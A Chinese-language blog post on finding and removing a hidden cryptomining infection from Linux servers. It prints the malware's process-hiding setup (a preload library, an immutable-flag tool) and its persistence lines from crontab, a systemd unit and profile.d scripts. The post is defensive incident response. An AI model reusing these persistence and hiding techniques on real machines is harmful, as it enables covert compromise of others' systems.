linux隱藏病毒處理(top查詢us佔用70%左右,卻沒有CPU高使用的進程)

    突然有人反應說客戶服務器使用有點卡,雖然是客戶的服務器,裏應當客戶**自己處理的,可是項目還沒完成,只有猥瑣發育,自己搞定唄,客戶是大哥啊。於是乎,立馬使用常規操作,登陸服務器查看資源使用情況,發現服務器的CPU的us值在70%左右,然而並沒有找到相關的CPU使用很高的進程,慌得一批,口吐芬芳。。。

 

問題分析:

    1、首先排除應用程序問題,因爲服務器的使用人數並不多,不可能有這麼高的負載,而且如果是應用程序問題,肯定會顯示出CPU高使用的應用進程

    2、後排除CPU硬件故障,因爲這個項目的幾臺服務器全都是這樣的,而且這幾臺服務器全都是新上的幾臺服務器

    3、懷疑內核版本問題,因爲有人遇到過這種問題,果斷拿一臺做實驗,升級內核版本,重啓,然而並沒有搞定

    4、最後只有鎖定病毒方面的問題,可是並沒有顯示高消耗的進程,應該是病毒將一些系統命令做了更改,無從着手的感覺,於是乎,百度。。。果然找到一個相同的問題:https://www.zhihu.com/question/59820313,終於可以確定最終的原因,病毒。。。

 

病毒處理常規步驟(之前一直這樣處理的):

    1、病毒進程查詢

    2、定時任務清理

    3、自啓動清理

    4、服務清理

    5、kill進程

 

病毒進程查詢:

因爲病毒是個隱藏的病毒,top沒辦法找到進程,通過參考https://www.zhihu.com/question/59820313這篇問答,找出病毒程序

首先查詢是否有這個連接:netstat -anp

結果顯示:tcp        0      0 x.x.x.x:33708       91.121.140.167:3333     ESTABLISHED -

    連接IP是91.121.140.167,進程名爲“-”,確認爲病毒程序

查詢文件:cat /etc/ld.so.preload

    內容爲:/usr/local/lib/libprocesshider.so

因此,需要刪除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload

    清理文件時遇到報錯Operation not permitted,因爲文件被賦予了“i”權限,lsattr可以查看文件權限,可是查看權限時,報錯沒有lsattr命令,系統本身自帶了的,估計是病毒將命令改了,重新下載軟件包(e2fsprogs)安裝就是

    查看文件權限:lsattr /usr/local/lib/libprocesshider.so   

         

    chattr更改權限,任然報錯沒有chattr,心態爆炸。。。

    後面查看定時任務時,發現用的lockr +i授權,藉此配置權限,lockr -i /usr/local/lib/libprocesshider.so之後即可刪除文件

清理文件後,top即可看到搞事情的病毒進程命“.sh”

 

病毒清理:

定時任務清理:

    查詢cron.d、cron.hourly、crontab目錄或文件的異常

    /etc/cron.d/phps文件異常,內容*/10 * * * * root /sbin/httpss,直接刪除/etc/cron.d/phps、/sbin/httpss

lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https

    /etc/crontab內容異常,清理異常任務

* * * * * root  cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
* * * * * root  echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1

 

服務清理及自啓動清理:

    /etc/rc.d/init.d/目錄下異常文件刪除:rm -rf selinux DbSecuritySpt

   清理文件異常內容:/etc/rc.d/rc.local

    /lib/systemd/system發現異常服務文件:vim pwnriglhttps.service

[Unit]
Description=.sh

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c  >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target

    關閉pwnriglhttps.service服務:systemctl stop pwnriglhttps.service

                                                     systemctl disable pwnriglhttps.service

    刪除文件:rm -rf pwnriglhttps.service

    top或者ps查詢進程ID,kill進程,top查看資源使用恢復正常

    最後刪除病毒文件:

rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip

    到此理應清理完畢,重啓系統,發現資源使用正常,然而ssh遠程登陸服務器後,病毒任然運行。。。

 

ssh登陸清理:

    查詢/etc/profile文件

    

    發現目錄/etc/profile.d/下出現異常文件:php.sh、supervisor.sh

    查看內容:vim php.sh

#!/bin/bash
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c  >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null

    vim supervisor.sh

#!/bin/bash
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1

    /etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf

    刪除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf

lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf

    最後再次kill進程,刪除.sh文件

find / -name .sh
rm /etc/.sh /usr/bin/.sh

重啓服務器,測試ssh登陸服務器,資源使用正常,病毒處理完成

 

總結:

病毒處理大概思路:病毒進程名查看、定時任務查看、開啓啓動目錄查看、服務目錄查看、用戶登陸配置文件查看等,一般都是修改這些文件來達到入侵目的,還有系統命令的修改

如今病毒隱藏愈來愈深,愈來愈搞事情,所以建議從預防開始,注重病毒預防,中毒難受,嚴重導致數據丟失,無解。。。

 

-----------日常記錄---------------

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章